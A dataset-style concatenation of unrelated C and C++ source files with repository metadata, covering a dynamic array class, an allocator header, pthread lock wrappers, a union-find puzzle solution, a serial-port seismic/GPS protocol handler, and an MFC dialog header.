~Array(void)
{
if(this->arr!=NULL)
delete[] this->arr;
this->arr=NULL;
}
friend istream& operator>>(istream &cin,Array &other);
friend ostream& operator<<(ostream &cout,Array &other);
};
istream& operator>>(istream &cin,Array &other)
{
for(int index=0;index<other.size;++index)
{
cout<<"enter the element:\n";
cin>>other.arr[index];
}
return cin;
}
ostream& operator<<(ostream &cout, Array &other)
{
for (int index=0;index<other.size;++index)
{
cout<<other.arr[index]<<endl;
}
return cout;
}
int main() {
Array a1(3),a2(2);
cin>>a1;
a2=a1;
cout<<a2;
return 0;
}
| [
"dnyaneshwarshinde003@gmail.com"
] | dnyaneshwarshinde003@gmail.com |
0d14e69b3ad4b8b0bdd6b968fe06f1caa326cb16 | 302c750e55f194bb92b298fb53d58aed56e99f87 | /Code/Libraries/Core/src/allocatorchunk.h | d3ff0fd8191fa9a7ed2a483fe08f79cee5b4c2d1 | [
"Zlib"
] | permissive | lihop/Eldritch | 37194015b00bd02940bbb4d72e187d280d78d136 | bb38ff8ad59e4c1f11b1430ef482e60f7618a280 | refs/heads/master | 2023-04-11T22:44:31.476470 | 2021-04-30T08:07:04 | 2021-04-30T08:14:29 | 351,978,042 | 0 | 0 | NOASSERTION | 2021-03-27T04:06:12 | 2021-03-27T04:06:12 | null | UTF-8 | C++ | false | false | 2,176 | h | #ifndef ALLOCATORCHUNK_H
#define ALLOCATORCHUNK_H
class Allocator;
class IDataStream;
class AllocatorChunk
{
public:
AllocatorChunk();
~AllocatorChunk();
void Initialize( Allocator* const pAllocator, uint Size );
void ShutDown();
void* Allocate( uint Size, uint Alignment );
void Free( void* const pObj );
void Flush();
void Report( const IDataStream& Stream ) const;
void ReportMemoryLeaks( const IDataStream& Stream, const uint Bookmark1, const uint Bookmark2 ) const;
bool CheckForLeaks( const uint Bookmark1, const uint Bookmark2 ) const;
// Debug stats, return 0 in other builds
void GetStats(
uint* const pAllocated,
uint* const pOverhead,
uint* const pMaxOverhead,
uint* const pFree,
uint* const pMinFree,
uint* const pMaxAllocated,
uint* const pNumBlocks,
uint* const pMaxBlocks ) const;
// Blocks form a doubly-linked list.
struct SAllocatorBlock
{
SAllocatorBlock();
AllocatorChunk* m_Chunk;
bool m_Used;
uint m_Size;
SAllocatorBlock* m_Prev;
SAllocatorBlock* m_Next;
#if BUILD_DEV
uint m_AllocNum; // For leak checking
#endif // BUILD_DEV
};
private:
void Split( SAllocatorBlock* const BlockToSplit, const uint Size );
void SplitToAlignment( SAllocatorBlock* const BlockToSplit, const uint Alignment );
bool CanSplitToAlignment( const SAllocatorBlock* const pBlock, const uint Alignment, const uint Size ) const;
void Coalesce( SAllocatorBlock* const First ); // Coalesces this block with its next
bool IsAligned( const SAllocatorBlock* const pBlock, const uint Alignment ) const; // True if this block's *data* is aligned
Allocator* m_Allocator;
SAllocatorBlock* m_Head;
SAllocatorBlock* m_Free; // A known free block for fast allocation. No other guarantees about placement.
uint m_Size;
#if BUILD_DEV
uint m_AllocSpace; // Just what is actually allocated by user
uint m_Overhead; // Allocated for use internally
uint m_FreeSpace; // Actual free space remaining (capacity minus allocated and overhead)
uint m_NumBlocks;
uint m_MaxAlloc;
uint m_MaxOverhead;
uint m_MinFree;
uint m_MaxBlocks;
#endif // BUILD_DEV
};
#endif // ALLOCATORCHUNK_H | [
"usineur0@gmail.com"
] | usineur0@gmail.com |
3994790c50ae8a9188cefb36a76344b25cfcbada | 9fe1638600ade044714d25a301f28ca9846c5224 | /SnakeGame/src/MainApp.cpp | 3fa8c6b9e5705dcb4f778d65f3b7584ba680a2f9 | [
"MIT"
] | permissive | rishi-menon/SnakeGame_CPP | b9a9e97dfabfe2f5425ed91f9131fa9c8e4fe801 | 11590eec41bfb2442bbb8be349a2ff50ddae2493 | refs/heads/master | 2022-09-06T21:09:42.377447 | 2020-05-25T16:57:45 | 2020-05-25T16:57:45 | 255,180,133 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 177 | cpp | #include "Application.h"
#include "GL/glew.h"
int main()
{
Application* pApplication = new Application ();
pApplication->Run();
delete pApplication;
return 0;
} | [
"rishimenon212@gmail.com"
] | rishimenon212@gmail.com |
f149a399b4156361b1362cb9198952dd21bd4e4f | cd1980952c56d36ac2701881dc29bd737e7a5661 | /C++_chapter4_ArrayStructString/C++_chapter4_ArrayStructString/C++_chapter4_ArrayStructString/C++_chapter4_ArrayStructString.cpp | dde1a4e0b8340651ac9f8eaf49aa4631da4590ae | [] | no_license | le1cye/C_Datastruct | e53b490b8fdf4cba1514633f231cee97fed5d632 | cd78e94e581dcdf73e92b38c7da360a4b840b0e5 | refs/heads/master | 2023-03-26T04:27:07.033710 | 2021-03-16T07:20:14 | 2021-03-16T07:20:14 | 348,250,011 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,551 | cpp | #include <iostream>
#include <string>
#include <cstring>
#include <vector>
#include <array>
struct inflatable
{
char fname[20];//也可以写成std::string fname;
float volume;
double price;
};
int main()
{
//数组初始化规则;
int yams[3];
yams[0] = 7;
yams[1] = 8;
yams[2] = 6;
int yamcosts[3] = { 20, 35, 5 };
double earnings[4]{ 1.2e4, 1.6e4, 1.1e4, 1.7e4 };//初始化可省略“=”;
int counts[10] = {};//将所有元素设置为0;
//字符串;
char bird[11] = "Mr. Cheeps";
char fish[] = "Bubbles";
const int arsize = 20;
char name[arsize];
std::cout << "Enter your name: " << std::endl;
std::cin.getline(name, arsize); //getline()将包含arsize个元素读入到name数组中;
//sring类位于std中,必须使用std::string,或者using namespace std;
std::string str1;
std::string str2 = "panther";
int len1 = str1.size();
//结构体;
inflatable guest =
{
"Glorious Gloria" ,//fname value
1.88, //volume value
23.99 //price value
};
std::cout << guest.fname << " " << guest.volume << std::endl;
inflatable gifts[100];//创建100个这样的结构数组;
//vector & array
std::vector<double> a2(4); //vector格式使用
a2[0] = 1.0 / 3.0;
a2[1] = 1.0 / 5.0;
a2[2] = 1.0 / 7.0;
a2[3] = 1.0 / 9.0;
std::array<double, 4> a3 = {1.2, 2.4, 3.6, 4.8};//array类格式
std::array<double, 4> a4;
a4 = a3;
}
| [
"895689651@qq.com"
] | 895689651@qq.com |
388e218cd73decca96c6c1b86af913ae5cd28022 | 7ff252d6dbad4a6db7f32c9e6648d63cab55ff48 | /version_03/lock/lock.h | 6e2d6804ee160fab7b4d8e47c7e70a5f23a61112 | [] | no_license | zhshua/TinyHTTP | a034f18c3e9535efe512015d97d3ba8d0392558e | 77f6d7d6c6d3b65e8471f2da5030a8c7bf99e33d | refs/heads/master | 2023-06-12T23:51:51.942952 | 2021-07-12T02:42:37 | 2021-07-12T02:42:37 | 337,339,415 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,785 | h | #ifndef _LOCK_H_
#define _LOCK_H_
#include <pthread.h>
#include <semaphore.h>
#include <exception>
class sem{
public:
sem(int num){
// sem_init(), 第二个参数, 传0代表用于线程, 传1代表用于进程
if(sem_init(&m_sem, 0, num) != 0)
{
throw std::exception();
}
}
sem(){
// sem_init(), 第二个参数, 传0代表用于线程, 传1代表用于进程
if(sem_init(&m_sem, 0, 0) != 0)
{
throw std::exception();
}
}
// 析构函数不抛异常, c++默认是析构函数无异常的
~sem(){
sem_destroy(&m_sem);
}
// 对信号量做--
bool wait(){
return sem_wait(&m_sem) == 0;
}
// 对信号量做++
bool post(){
return sem_post(&m_sem) == 0;
}
private:
sem_t m_sem;
};
class locker{
public:
locker(){
if(pthread_mutex_init(&mutex, NULL) != 0){
throw std::exception();
}
}
~locker(){
pthread_mutex_destroy(&mutex);
}
bool lock(){
return pthread_mutex_lock(&mutex) == 0;
}
bool unlock(){
return pthread_mutex_unlock(&mutex) == 0;
}
pthread_mutex_t *get(){
return &mutex;
}
private:
pthread_mutex_t mutex;
};
class cond{
public:
cond(){
if(pthread_cond_init(&m_cond, NULL) != 0){
throw std::exception();
}
}
~cond(){
pthread_cond_destroy(&m_cond);
}
bool wait(pthread_mutex_t *mutex){
return pthread_cond_wait(&m_cond, mutex) == 0;
}
bool signal(){
return pthread_cond_signal(&m_cond) == 0;
}
bool broadcast(){
return pthread_cond_broadcast(&m_cond) == 0;
}
private:
pthread_cond_t m_cond;
};
#endif | [
"869528598@qq.com"
] | 869528598@qq.com |
1ec227a7ca7ae0c6556f8d005005acdc62d9bf46 | c851236c2a3f08f99a1760043080b0a664cf3d92 | /FLIPKARTDSUHACKERRANKQUESTIONVVVVVVIMP.cpp | 68a215f3f5f25dedffc079beebf44f9d8234d359 | [] | no_license | Anubhav12345678/competitive-programming | 121ba61645f1edc329edb41515e951b9e510958f | 702cd59a159eafacabc705b218989349572421f9 | refs/heads/master | 2023-01-20T08:12:54.008789 | 2020-11-18T10:23:42 | 2020-11-18T10:23:42 | 313,863,914 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,261 | cpp | /*
Flipkart IIT Kanpur 2018
https://www.hackerrank.com/contests/hack-it-to-win-it-paypal/challenges/q4-traveling-is-fun
*/
/*
Julia is planning a vacation and has a list of cities she wants to visit. She doesn't have a map
of the area, but she does have some data that will help here determine whether there is a road
connection all the cities she wants to visit. The data comes in the form of two arrays. Each of
the first array's elements is an origin city. Each of the second array's is a destination.
There is also an integer value threshold. She can tell that any two cities are connected
if the values at origin and destination share a common divisor greater than the threshold. Citites are indexed starting at 0.
Each of the pairs, originCities[0] and destinationCities[0] for example, represents a route
she wants to take. For each pair, determine whether there is a route between cities. The route
does not have to be direct. See the explanation to Sample Case 1 relating to originCity equals 2 or 4 for examples.
For instance, consider an array originCities = [1,2,3] and destinationCities = [4,5,6]. The
threshold value is 2. There are 6 total cities. To draw the map, first determine the divisors of all cities:
Origin Cities Divisors Destination Cities Divisors
1 1 4 1,2,4
2 1,2 5 1,5
3 1,3 6 1,2,3,6
The threshold is 2, so we can eliminate cities 1 and 2. Their deivisors are not greater than
the threshold. This leaves city 3 to check in the origins list. It has a divisor in common
with city 6, and is greater than the threshold so there is a road between them. This is the
only pair connected cities. Now that we have created a map, we can check her routes.
She wants to go from originCity[0] = 1 to desitinationCity[0] = 4 but there is no road. There
is no road for her second route either, form city 2 to 5. There is only a road that matches her
third route at index 2, from city 3 to 6. A true/fals array of her results would be paths = [0,0,1].
*/
#include <bits/stdc++.h>
using namespace std;
#define int long long
struct dsu {
vector<int> par, sz;
dsu(int n): par(n), sz(n, 1) {
for (int i = 0; i < n; i++) {
par[i] = i;
}
}
int root(int a) {
if (a == par[a]) return a;
return par[a] = root(par[a]);
}
void merge(int a, int b) {
a = root(a);
b = root(b);
if (a == b) return;
if (sz[a] < sz[b]) swap(a, b);
sz[a] += sz[b];
par[b] = a;
}
};
vector<int> findReachable(int n, int g, vector<int> from, vector<int> to) {
dsu d(n);
for (int k = g + 1; k <= n; k++) {
for (int x = 2 * k; x <= n; x += k) {
d.merge(x - 1, x - k - 1);
}
}
int m = from.size();
vector<int> ans;
for (int i = 0; i < m; i++) {
ans.push_back(d.root(from[i] - 1) == d.root(to[i] - 1));
}
return ans;
}
signed main() {
vector<int> from {10, 4, 3, 6};
vector<int> to {3, 6, 2, 9};
vector<int> reachable = findReachable(10, 1, from, to);
for (int i = 0; i < 4; i++) {
cout << "From " << from[i] << " to " << to[i] << ": ";
cout << (reachable[i] ? "Possible" : "Not possible") << '\n';
}
return 0;
} | [
"anubhavgupta408@gmail.com"
] | anubhavgupta408@gmail.com |
1ef3d7b54460a96b8ef6f2c095413ecfeb8c12e0 | 299d5018f28fe2b847fd6c4d2ca6107cf8cd2537 | /src/protocols/serialprotocol.cpp | 4e2a1386ef2fc3a3195bf8d9cf6de9f04cc67537 | [] | no_license | NIA/seismoreg | 7453d75ea2f3f80ccdb4c9cbe48d3c91b6f3d6ad | e0edd8a45f5daa7526e260add335a370bd50f3fc | refs/heads/master | 2020-04-15T21:36:31.608435 | 2015-03-31T12:19:56 | 2015-03-31T12:19:56 | 8,143,520 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 15,677 | cpp | #include "serialprotocol.h"
#include "qextserialenumerator.h"
#include "../logger.h"
#include <QTimer>
#include <QTime>
#include <QByteArray>
#include <QDateTime>
#include <qmath.h>
namespace {
const QByteArray CHECK_ADC = "\x03";
const QByteArray START_RECEIVE_50 = "\x01";
const QByteArray START_RECEIVE_200 = "\x02";
const QByteArray STOP_RECEIVE("\x00", 1); // simply = "\x00" won't work: will be empty string
const QByteArray CHECKED_ADC = CHECK_ADC;
const QByteArray DATA_PREFIX(5, '\xF0');
// GPS commands:
const QByteArray GPS_REQUEST_TIME = "\x10\x21\x10\x03";
// GPS packets:
struct KnownPacket {
SerialProtocol::GPSPacketType kind;
QByteArray prefix;
int size;
};
const KnownPacket KNOWN_GPS_PACKETS[] = {
// kind preifx size
{SerialProtocol::GPSHealth, "\x10\x46", 2},
{SerialProtocol::GPSTime, "\x10\x41", 10},
{SerialProtocol::GPSPosition, "\x10\x4A", 20},
};
const QByteArray GPS_SUFFIX = "\x10\x03";
const int GPS_SUFFIX_SIZE = GPS_SUFFIX.size();
// GPS constants
const QDateTime GPS_BASE_TIME(QDate(1980, 1, 6), QTime(0, 0), Qt::UTC);
const int MIN_FREQUENCY = 1;
const int POINTS_IN_PACKET = 200;
const int DEFAULT_FILTER_FREQ = 200;
/**
* @brief Unpacks unsigned int of arbitrary length
* and _shifts_ rawData pointer by the size of unpacked data
*
* Usage: unpackUINT<unsigned short>(data) or unpackUINT<quint32>(data) etc
* @param rawData - pointer to raw data in network byte order
* @return resulting number
*/
template <typename T>
T unpackUINT(const char *& packet) {
const quint8 * data = reinterpret_cast<const quint8*>(packet);
T res = 0;
// Use shift so that this code is independent on current arch
// TODO: some more efficient algorithm.
for (unsigned i = 0; i < sizeof(res); ++i) {
res <<= 8;
res |= data[i];
}
packet += sizeof(res);
return res;
}
/**
* @brief Unpacks 32-bit float
* and _shifts_ rawData pointer by the size of unpacked data
*
* @param rawData - pointer to raw data in network byte order
* @return resulting number
*/
float unpackFloat(const char *& packet) {
// Collect binary representation as one 32-bit number
// and cast these bytes to float via union punning
union { quint32 ui; float flt; } u;
u.ui = unpackUINT<quint32>(packet);
return u.flt;
}
// TODO: remove on update to Qt >= 5.1
double radiansToDegrees(double radians) {
return radians / M_PI * 180.0;
}
inline QString bytes2hex(QByteArray bytes) {
return QString::fromLatin1(bytes.toHex());
}
}
PortSettingsEx::PortSettingsEx(BaudRateType baudRate, DataBitsType dataBits, ParityType parity, StopBitsType stopBits, FlowType flowControl, long timeoutMillisec, bool debug)
: PortSettings({baudRate, dataBits, parity, stopBits, flowControl, timeoutMillisec}),
debug(debug)
{}
const PortSettingsEx SerialProtocol::DEFAULT_PORT_SETTINGS(BAUD115200, DATA_8, PAR_NONE, STOP_1, FLOW_OFF, 10, false);
PerformanceReporter SerialProtocol::perfReporter("COM");
PerformanceReporter SerialProtocol::generateTimestampsPerfReporter("generateTimestamps");
SerialProtocol::SerialProtocol(QString portName, int samplingFreq, int filterFreq, PortSettingsEx settings, QObject *parent) :
Protocol(parent), portName(portName), port(NULL), samplingFrequency_(samplingFreq), filterFrequency_(filterFreq),
debugMode(settings.debug), currentPacketGPS(GPSNoPacket)
{
port = new QextSerialPort(portName);
port->setBaudRate(settings.BaudRate);
port->setDataBits(settings.DataBits);
port->setStopBits(settings.StopBits);
port->setParity(settings.Parity);
port->setFlowControl(settings.FlowControl);
// TODO: support timeout setting?
if (samplingFrequency_ < MIN_FREQUENCY) {
Logger::error(tr("Incorrect frequency: cannot be less than %1").arg(MIN_FREQUENCY));
samplingFrequency_ = MIN_FREQUENCY;
}
if (POINTS_IN_PACKET % samplingFrequency_ != 0) { // and also if frequency > POINTS_IN_PACKET
Logger::error(tr("Incorrect frequency: should be a divisor of %1").arg(POINTS_IN_PACKET));
samplingFrequency_ = POINTS_IN_PACKET;
}
perfReporter.setDescription(description());
}
QString SerialProtocol::description() {
return tr("Serial port %1 [%2->%3]").arg(portName).arg(POINTS_IN_PACKET).arg(samplingFrequency_);
}
bool SerialProtocol::open() {
if(port->open(QextSerialPort::ReadWrite)) {
addState(Open);
connect(port, &QextSerialPort::readyRead, this, &SerialProtocol::onDataReceived);
return true;
} else {
if(port->lastError() != E_NO_ERROR) {
Logger::error(port->errorString());
}
return false;
}
}
void SerialProtocol::checkADC() {
addState(ADCWaiting);
port->write(CHECK_ADC);
}
void SerialProtocol::checkGPS() {
addState(GPSWaiting); // Note that this state will not be removed: will always wait for future GPS updates
port->write(GPS_REQUEST_TIME);
}
void SerialProtocol::startReceiving() {
// TODO: move this logic to Protocol too?
if(! hasState(ADCReady) ) {
// TODO: report error: ADC not ready
return;
}
if( hasState(Receiving) ) {
// TODO: report warning: already receiving
return;
}
if (filterFrequency_ == DEFAULT_FILTER_FREQ) {
port->write(START_RECEIVE_200);
} else {
port->write(START_RECEIVE_50);
}
addState(Receiving);
}
void SerialProtocol::stopReceiving() {
if(! hasState(Receiving) ) {
// TODO: report warning: already stopped
return;
}
port->write(STOP_RECEIVE);
removeState(Receiving);
}
void SerialProtocol::close() {
if (hasState(Receiving)) {
stopReceiving();
}
port->close();
resetState();
}
int SerialProtocol::samplingFrequency() {
return samplingFrequency_;
}
void SerialProtocol::setSamplingFrequency(int value) {
if (hasState(Receiving)) {
Logger::error(tr("Cannot change parameters when receiving data"));
}
samplingFrequency_ = value;
}
int SerialProtocol::filterFrequency() {
return filterFrequency_;
}
void SerialProtocol::setFilterFrequency(int value) {
if (hasState(Receiving)) {
Logger::error(tr("Cannot change parameters when receiving data"));
}
filterFrequency_ = value;
}
SerialProtocol::~SerialProtocol() {
close();
}
// TODO: split this function
void SerialProtocol::onDataReceived() {
QByteArray rawData = port->readAll();
if (debugMode) {
Logger::trace(portName + ": " + rawData.toHex());
}
if (hasState(Receiving)) {
if(rawData.startsWith(DATA_PREFIX)) {
perfReporter.start();
// If we see packet start:
// Drop buffer
buffer.clear();
// Remove prefix
rawData.remove(0, DATA_PREFIX.size()); // TODO: optimize? (avoid removing from beginning here and below)
} else {
perfReporter.unpause();
}
// Add data to buffer
buffer += rawData;
// if there is enough data in buffer to form and unwrap a packet, make it
const int packetSize = CHANNELS_NUM*POINTS_IN_PACKET*sizeof(DataType); // TODO: make either global const or field
while(buffer.size() >= packetSize) { // TODO: this is actually not correct way to handle two subsequent packets (header not removed)
// allocate space for data array
DataVector packetData(samplingFrequency_);
// Unwrap data:
if (samplingFrequency_ == POINTS_IN_PACKET) {
// Easy case: just copy
memcpy(packetData.data(), buffer.constData(), packetSize);
} else {
// Hard case: compute average of each avgSize items into one point
int avgSize = POINTS_IN_PACKET / samplingFrequency_; // frequency must not be and must not be greater that POINTS_IN_PACKET: it is checked in constructor
const DataItem* curItem = reinterpret_cast<const DataItem*>(buffer.constData());
for (int i = 0; i < samplingFrequency_; ++i) {
double sums[CHANNELS_NUM];
for (unsigned ch = 0; ch < CHANNELS_NUM; ++ch) { sums[ch] = 0; }
for (int j = 0; j < avgSize; ++j) {
for (unsigned ch = 0; ch < CHANNELS_NUM; ++ch) {
sums[ch] += curItem->byChannel[ch];
}
++curItem;
}
for (unsigned ch = 0; ch < CHANNELS_NUM; ++ch) {
packetData[i].byChannel[ch] = sums[ch] / avgSize;
}
}
}
// remove them from buffer
buffer.remove(0, packetSize);
// generate timestamps
TimeStampsVector timeStamps = generateTimeStamps(1000, packetData.size());
perfReporter.stop();
// notify
emit dataAvailable(timeStamps, packetData);
}
perfReporter.pause();
// If not receiving, then waiting either for ADC or for GPS
} else if (hasState(ADCWaiting)) {
if(rawData.startsWith(CHECKED_ADC)) {
addState(ADCReady);
removeState(ADCWaiting);
emit checkedADC(true);
}
} else /* if (hasState(GPSWaiting)) */ {
buffer += rawData;
bool isParsed;
do {
isParsed = takeGPSPacket();
} while (isParsed);
}
}
bool SerialProtocol::takeGPSPacket() {
if (currentPacketGPS == GPSNoPacket) {
// Try to detect packet
int startPos = -1;
KnownPacket detectedPacketInfo;
for (const KnownPacket &packetInfo: KNOWN_GPS_PACKETS) {
int newStartPos = buffer.indexOf(packetInfo.prefix);
if (newStartPos >= 0) {
// If found, then check if it is before previously detected:
// (or if there is no previously detected: startPos < 0)
if ((newStartPos < startPos) || (startPos < 0)) {
detectedPacketInfo = packetInfo;
startPos = newStartPos;
}
}
}
// If successfully detected
if (startPos >= 0) {
// Cut everything before packet (and header as well)
currentPacketGPS = detectedPacketInfo.kind;
buffer = buffer.mid(startPos + detectedPacketInfo.prefix.size());
}
}
if (currentPacketGPS != GPSNoPacket) {
// Try to parse packet. First, find which is the current packet
// TODO: use QMap?
for (const KnownPacket &packetInfo: KNOWN_GPS_PACKETS) {
if(packetInfo.kind == currentPacketGPS) {
if (buffer.size() >= packetInfo.size + GPS_SUFFIX_SIZE) {
// enough bytes, check if valid...
QByteArray suffix = buffer.mid(packetInfo.size, GPS_SUFFIX_SIZE); // TODO: how to avoid allocating new array (with mid)?
if (suffix == GPS_SUFFIX) {
// ...then parse the packet
parseGPSPacket();
} else {
// ...otherwise just ignore corrupted
currentPacketGPS = GPSNoPacket;
Logger::warning(tr("Corrupted GPS 0x%1 packet: suffix %2 instead of %3").arg(bytes2hex(packetInfo.prefix)).arg(bytes2hex(suffix)).arg(bytes2hex(GPS_SUFFIX)));
}
// remove packet from buffer
buffer.remove(0, packetInfo.size + GPS_SUFFIX_SIZE);
return true;
}
// Not enough, wait for the next sending
break;
}
}
} else {
// All that's left is parts of unsupported packets: clear the buffer
buffer.clear();
// NB: we may still lose some meaningful packet if its header gets
// split between sendings, but this is quite unlikely
}
return false;
}
void SerialProtocol::parseGPSPacket() {
// NB: assume we have enough bytes in buffer to parse packet: check this before!
const char * packet = buffer.constData();
// note that each unpack* function moves `packet` pointer forward
switch (currentPacketGPS) {
case GPSTime: {
// Check if we previously received 0x46 Health packet with success code
if (hasState(GPSReady)) {
float timeOfWeek = unpackFloat(packet);
quint16 weekNumber = unpackUINT<quint16>(packet);
float offsetUTC = unpackFloat(packet);
QDateTime dateTime = GPS_BASE_TIME.addDays(7*weekNumber).addMSecs((timeOfWeek - offsetUTC)*1000);
addState(GPSHasTime);
Logger::trace(tr("GPS Time packet: timeOfWeek=%1, weekNumber=%2, offsetUTC=%3").arg(timeOfWeek).arg(weekNumber).arg(offsetUTC));
emit timeAvailable(dateTime);
}
break;
}
case GPSPosition: {
double latitude = radiansToDegrees( unpackFloat(packet) );
double longitude = radiansToDegrees( unpackFloat(packet) );
double altitude = unpackFloat(packet);
addState(GPSHasPos);
emit positionAvailable(latitude, longitude, altitude);
break;
}
case GPSHealth: {
// First byte 0x00 means OK
if (packet[0] == 0) {
addState(GPSReady);
}
break;
}
default:
// This is actually an internal error
Logger::warning(tr("GPS packet not yet supported"));
break;
}
currentPacketGPS = GPSNoPacket;
if (hasState(GPSHasPos) && hasState(GPSHasTime)) {
emit checkedGPS(true);
}
}
QList<QString> SerialProtocol::portNames() {
QList<QextPortInfo> ports = QextSerialEnumerator::getPorts();
QList<QString> names;
foreach (QextPortInfo port, ports) {
if( ! port.portName.isEmpty() ) {
names << port.portName;
}
}
return names;
}
TimeStampsVector SerialProtocol::generateTimeStamps(double periodMsecs, int count) {
generateTimestampsPerfReporter.start();
TimeStampsVector res(count);
// Round down to seconds (drop milliseconds)
qint64 seconds = qint64((QDateTime::currentMSecsSinceEpoch() - periodMsecs) / 1000);
TimeStampType start = seconds*1000;
double deltaMsecs = periodMsecs / count;
for (int i = 0; i < count; ++i) {
res[i] = start + i*deltaMsecs;
}
generateTimestampsPerfReporter.stop();
return res;
}
SerialProtocolCreator::SerialProtocolCreator(QString portName, int samplingFreq, int filterFreq, PortSettingsEx settings)
: portName(portName), samplingFreq(samplingFreq), filterFreq(filterFreq), settings(settings)
{}
Protocol * SerialProtocolCreator::createProtocol() {
return new SerialProtocol(portName, samplingFreq, filterFreq, settings);
}
| [
"nia.afti@gmail.com"
] | nia.afti@gmail.com |
046552bb64dd963559fb4ec47ff761454e380a9d | f6da8b2038bfc146166a0f6704406e9f723af943 | /DistSlaver/DistSlaverDlg.h | 74cce6812bc43327a5378e60542f917253ba8342 | [] | no_license | hoatd/prism | d94665c7cb3a5b4fe0268243d24367cbcf443cfd | 44f156936f5e72a4fd5690d0aff2076c2ed9cad9 | refs/heads/master | 2023-03-07T02:40:00.394389 | 2021-02-19T09:29:00 | 2021-02-19T09:29:00 | 340,320,301 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,004 | h | // DistSlaverDlg.h : header file
//
#pragma once
#include "afxwin.h"
// CDistSlaverDlg dialog
class CDistSlaverDlg : public CDialog
{
// Construction
public:
CDistSlaverDlg(CWnd* pParent = NULL); // standard constructor
// Dialog Data
enum { IDD = IDD_DISTSLAVER_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
// Implementation
protected:
HICON m_hIcon;
// Generated message map functions
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnBnClickedCancel();
afx_msg void OnBnClickedOk();
afx_msg void OnClose();
CEdit txtPort;
CButton btnStart;
CStatic lblStatus;
CEdit txtAddress;
CEdit txtMinSup;
VOID EnableCloseDialog(bool bEnable);
static void EnableProcess(bool bEnable);
static UINT CommWithMasterSite(LPVOID lParam);
CEdit txtSeqDataFilename;
};
| [
"hoatranduy@gmail.com"
] | hoatranduy@gmail.com |
0a73fbe372378b2b9afb0c0e835b6d966eb8ad7d | fcc777b709d795c4116bad5415439e9faa532d39 | /rongyu/homework1/file/2018192006_1040_正确_50.cpp | b086ae8a0d9a00456865ee00e7d185e65699e07a | [] | no_license | demonsheart/C- | 1dcaa2128ec8b20e047ae55dd33f66a359097910 | f567b8ca4a4d3ccdf6d59e9fae5b5cea27ec85c1 | refs/heads/master | 2022-11-29T00:27:30.604843 | 2020-08-10T11:48:36 | 2020-08-10T11:48:36 | 283,923,861 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,020 | cpp | /* Structure for OpenJudge
* Version 1.1
* Created by Sparky. 2019.3.10
*/
#include <iostream>
using std::cin;using std::cout;
using std::cerr;using std::endl;
using std::istream;using std::ostream;
#include <vector>
using std::vector;
#include <string>
using std::string;
#include <algorithm>
using std::sort;
#include <cstdio>
#include <cstdlib>
#include <cmath>
/*Add other "#include"s and namespace usings here if needed.*/
#include <cstring>
/*Debugger before Solution*/
// #define DEBUG
//undefine DEBUG if stop debugging.
#include <fstream>
using std::ifstream;using std::ofstream;
#ifdef DEBUG
ifstream input("C:\\Users\\StarSparky\\Desktop\\Codes\\OpenJudge Structure(Cpp)\\InputTest.txt",ifstream::in);
ofstream output("C:\\Users\\StarSparky\\Desktop\\Codes\\OpenJudge Structure(Cpp)\\OutputTest.txt",ifstream::out);
#define cin input
#define cout output
#endif
/*Add Data Structures Here*/
/*Add Functions Here*/
int isNumber(char *str){
int length=strlen(str);
int result=0,i=length-1;
char *Begin,*End,*iter;
Begin=str;
End=str+length;
for(iter=Begin;iter<End;++iter){
switch(*iter){
case '1':result+=1*pow(10,i);break;
case '2':result+=2*pow(10,i);break;
case '3':result+=3*pow(10,i);break;
case '4':result+=4*pow(10,i);break;
case '5':result+=5*pow(10,i);break;
case '6':result+=6*pow(10,i);break;
case '7':result+=7*pow(10,i);break;
case '8':result+=8*pow(10,i);break;
case '9':result+=9*pow(10,i);break;
case '0':result+=0*pow(10,i);break;
default :return -1;
}
--i;
}
return result;
}
/*Main Function starts here.*/
int main(){
int round,rounds;
cin >> rounds;
/*Preprocessing Here*/
cin.get();
for(round=1;round<=rounds;++round){
/*Solve Problems Here if number of test cases are known.*/
char* testStr=new char[1000];
cin >> testStr;
cout << isNumber(testStr) << endl;
}
/*Final process here.*/
/*Debugger after Solution,close output file.*/
#ifdef DEBUG
input.close();
output.close();
#endif
return 0;
}
| [
"2509875617@qq.com"
] | 2509875617@qq.com |
adf0eef966b26bae4ffc01dafb4cc2e777122f3a | 600df3590cce1fe49b9a96e9ca5b5242884a2a70 | /third_party/WebKit/Source/wtf/Threading.h | ffe95e6ca2ed435983ff0e16f7bb671007cb767f | [
"BSD-3-Clause",
"LGPL-2.0-or-later",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.1-only",
"GPL-1.0-or-later",
"GPL-2.0-only",
"LGPL-2.0-only",
"BSD-2-Clause",
"LicenseRef-scancode-other-copyleft",
"MIT",
"Apache-2.0"
] | permissive | metux/chromium-suckless | efd087ba4f4070a6caac5bfbfb0f7a4e2f3c438a | 72a05af97787001756bae2511b7985e61498c965 | refs/heads/orig | 2022-12-04T23:53:58.681218 | 2017-04-30T10:59:06 | 2017-04-30T23:35:58 | 89,884,931 | 5 | 3 | BSD-3-Clause | 2022-11-23T20:52:53 | 2017-05-01T00:09:08 | null | UTF-8 | C++ | false | false | 3,403 | h | /*
* Copyright (C) 2007, 2008, 2010 Apple Inc. All rights reserved.
* Copyright (C) 2007 Justin Haygood (jhaygood@reaktix.com)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of Apple Computer, Inc. ("Apple") nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
